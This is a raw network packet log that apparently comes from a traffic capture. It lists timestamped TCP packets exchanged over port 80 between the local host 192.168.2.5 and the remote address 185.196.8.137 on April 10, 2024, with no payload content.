Apr 10, 2024 10:24:12.338663101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338663101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338663101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338663101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338663101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338663101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338663101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338682890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338682890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338682890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338757992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.338794947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338794947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338794947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338794947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338794947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338920116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338920116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338920116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338920116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338920116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.338920116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.339219093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.339236021 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.339250088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.339262962 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.339283943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.339467049 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.339554071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.339616060 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.339715004 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.339754105 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.339927912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.340028048 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.340082884 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.340245008 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.340840101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.340939999 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.340953112 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.341161966 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.341176987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.341453075 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.341485023 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.341897964 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.341911077 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.342055082 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.342128038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.342158079 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.342298031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.342482090 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.342535973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.342549086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.342705011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.342989922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.343076944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.343199015 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.343290091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.343348026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.343363047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.343574047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.343758106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.343970060 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.344105959 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.344120026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.344225883 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.344338894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.344440937 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.344455957 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.344885111 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.345078945 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.345114946 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.345180035 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.345288038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.345427990 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.345499992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.345566034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.345752001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.345992088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346095085 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346116066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346167088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346208096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346506119 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346560001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346611977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346698046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346710920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346774101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346853018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346901894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.346952915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347004890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347059965 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347251892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347332954 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347420931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347435951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347500086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347515106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347547054 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347605944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.347641945 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348016024 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348138094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348153114 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348196030 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348264933 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348279953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348329067 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348368883 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348407984 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348516941 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348531961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348546028 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348591089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348604918 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348795891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348849058 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.348891973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.349004030 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.349220037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.349539995 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.352891922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.352891922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.352891922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353034973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353100061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353100061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353233099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353252888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353252888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353424072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353424072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353424072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353424072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353528023 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.353559971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.353770971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.353806973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.353853941 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.353904963 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.353961945 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354027987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354387045 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354403019 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354415894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354487896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354543924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354557991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354572058 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354654074 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354667902 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.354876995 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355031013 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355134964 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355149984 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355305910 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355359077 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355372906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355407000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355446100 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355500937 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355515003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355552912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355567932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355691910 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355757952 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355853081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355967045 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.355981112 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356215000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356215000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356239080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356345892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356345892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356345892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356396914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356396914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356396914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356503963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356503963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356503963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356503963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356503963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356517076 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356601954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356601954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356684923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356684923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356684923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356704950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356719971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356734037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356751919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356751919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356751919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356755018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356832981 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356834888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356834888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356834888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356848955 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356856108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356864929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356878996 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356895924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356895924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356909037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356956005 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356969118 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.356980085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356980085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356980085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.356990099 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.357076883 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.357110023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357110023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357110023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357110023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357173920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.357208967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357208967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357208967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357285023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357285023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357285023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357378960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.357398033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357398033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357398033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357398033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357398033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357398033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357500076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357500076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357500076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357520103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.357553005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357553005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357553005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357553005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357677937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357677937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357677937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357677937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357677937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357677937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357774973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.357790947 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.357812881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357812881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357812881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357812881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357812881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357812881 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357836008 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.357923985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357923985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357923985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357924938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.357924938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358000040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358032942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358032942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358032942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358032942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358129025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358129025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358129025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358282089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358282089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358282089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.358293056 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358311892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358347893 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358495951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358511925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358525991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358666897 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358681917 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358958960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358973980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.358987093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.359000921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.359014034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.359546900 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.361325026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361325026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361325026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361325026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361325026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361325026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361455917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361455917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361455917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361455917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361455917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361455917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361534119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361534119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361534119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361577034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361577034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361577034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361695051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361695051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361695051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361695051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361695051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361695051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361799002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361799002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361799002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361820936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361820936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361910105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361910105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361910105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361994028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361994028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.361994028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362057924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362057924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362057924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362140894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362140894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362140894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362140894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362140894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362140894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362261057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362261057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.362261057 CEST	49718	80	192.168.2.5	185.196.8.137
